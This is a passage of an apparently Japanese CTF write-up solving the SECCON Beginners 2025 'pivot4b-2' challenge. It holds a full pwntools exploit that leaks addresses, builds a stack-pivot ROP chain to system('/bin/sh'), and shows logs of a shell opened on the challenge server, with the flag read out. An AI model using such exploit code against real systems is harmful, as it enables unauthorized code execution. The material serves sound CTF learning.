# p = process(binf, env={"LD_PRELOAD": libcf})
p = remote("pivot4b-2.challenges.beginners.seccon.jp", 12300)
# gdb.attach(p)
######################
payload = b"a" * 0x8 * 7
payload += b"\x26"
p.sendafter(b"> ", payload)
main_leak = unpack(p.recvline()[65:71].ljust(8, b"\0"))
elf.address = main_leak - 74 - elf.symbols["main"]
log.info("chall address: " + hex(elf.address))
######################
bss_address = elf.bss() + 0x800 # 余裕をもって0x800バイトオフセット
log.info("bss: " + hex(bss_address))
payload = b"A" * 0x30
payload += p64(bss_address + 0x30)
payload += p64(elf.symbols["vuln"] + 38)
p.sendafter(b"> ", payload)
funlockfile_leak = unpack(p.recv()[64:71].ljust(8, b"\0"))
libc.address = funlockfile_leak - libc.symbols["funlockfile"]
log.info("libc address:" + hex(libc.address))
######################
rop = ROP(libc)
leave_gadget = rop.find_gadget(["leave", "ret"]).address
pop_rdi_gadget = rop.find_gadget(["pop rdi", "ret"]).address
bin_sh = next(libc.search(b"/bin/sh"))
log.info("leave_gadget: " + hex(leave_gadget))
log.info("pop_rdi_gadget: " + hex(pop_rdi_gadget))
log.info("binsh: " + hex(bin_sh))
payload = p64(pop_rdi_gadget)
payload += p64(bin_sh)
payload += p64(libc.symbols["system"])
payload += b"a" * 0x8 * 3
payload += p64(bss_address - 0x8)
payload += p64(leave_gadget)
p.send(payload)
p.interactive()
実行結果
$ python3 solver.py
[*] '/home/naoki/SECCON_Beginners_CTF_2025/pivot4b-2/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
[*] '/home/naoki/SECCON_Beginners_CTF_2025/pivot4b-2/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Opening connection to pivot4b-2.challenges.beginners.seccon.jp on port 12300: Done
[DEBUG] Received 0x21 bytes:
b'Welcome to the second pivot game!'
[DEBUG] Received 0x3 bytes:
b'\n'
b'> '
[DEBUG] Sent 0x39 bytes:
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&'
[DEBUG] Received 0x6c bytes:
00000000 4d 65 73 73 61 67 65 3a 20 61 61 61 61 61 61 61 │Mess│age:│ aaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000040 61 26 82 9f 44 af 55 0a 57 65 6c 63 6f 6d 65 20 │a&··│D·U·│Welc│ome │
00000050 74 6f 20 74 68 65 20 73 65 63 6f 6e 64 20 70 69 │to t│he s│econ│d pi│
00000060 76 6f 74 20 67 61 6d 65 21 0a 3e 20 │vot │game│!·> │
0000006c
[*] chall address: 0x55af449f7000
[*] bss: 0x55af449fb810
[DEBUG] Sent 0x40 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000030 40 b8 9f 44 af 55 00 00 9f 81 9f 44 af 55 00 00 │@··D│·U··│···D│·U··│
00000040
[DEBUG] Received 0x46 bytes:
00000000 4d 65 73 73 61 67 65 3a 20 41 41 41 41 41 41 41 │Mess│age:│ AAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000030 41 41 41 41 41 41 41 41 41 40 b8 9f 44 af 55 0a │AAAA│AAAA│A@··│D·U·│
00000040 50 50 0b bb d8 7f │PP··│··│
00000046
[*] libc address:0x7fd8bb053000
[*] Loaded 219 cached gadgets for './libc.so.6'
[*] leave_gadget: 0x7fd8bb0a0a83
[*] pop_rdi_gadget: 0x7fd8bb07d3e5
[*] binsh: 0x7fd8bb22b678
[DEBUG] Sent 0x40 bytes:
00000000 e5 d3 07 bb d8 7f 00 00 78 b6 22 bb d8 7f 00 00 │····│····│x·"·│····│
00000010 70 3d 0a bb d8 7f 00 00 61 61 61 61 61 61 61 61 │p=··│····│aaaa│aaaa│
00000020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000030 08 b8 9f 44 af 55 00 00 83 0a 0a bb d8 7f 00 00 │···D│·U··│····│····│
00000040
[*] Switching to interactive mode
[DEBUG] Received 0x10 bytes:
00000000 4d 65 73 73 61 67 65 3a 20 e5 d3 07 bb d8 7f 0a │Mess│age:│ ···│····│
00000010
Message: \xe5\xd3\x07\xbb\xd8\x7f
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x2e bytes:
b'flag-30f9af30bae6316908ad674471772e05.txt\n'
b'run\n'
flag-30f9af30bae6316908ad674471772e05.txt
run
$ cat flag-30f9af30bae6316908ad674471772e05.txt
[DEBUG] Sent 0x2e bytes:
b'cat flag-30f9af30bae6316908ad674471772e05.txt\n'
[DEBUG] Received 0x1f bytes:
b'ctf4b{f3wer_g1fts_gr3ater_j0y}\n'
ctf4b{f3wer_g1fts_gr3ater_j0y}
$
ctf4b{f3wer_g1fts_gr3ater_j0y}


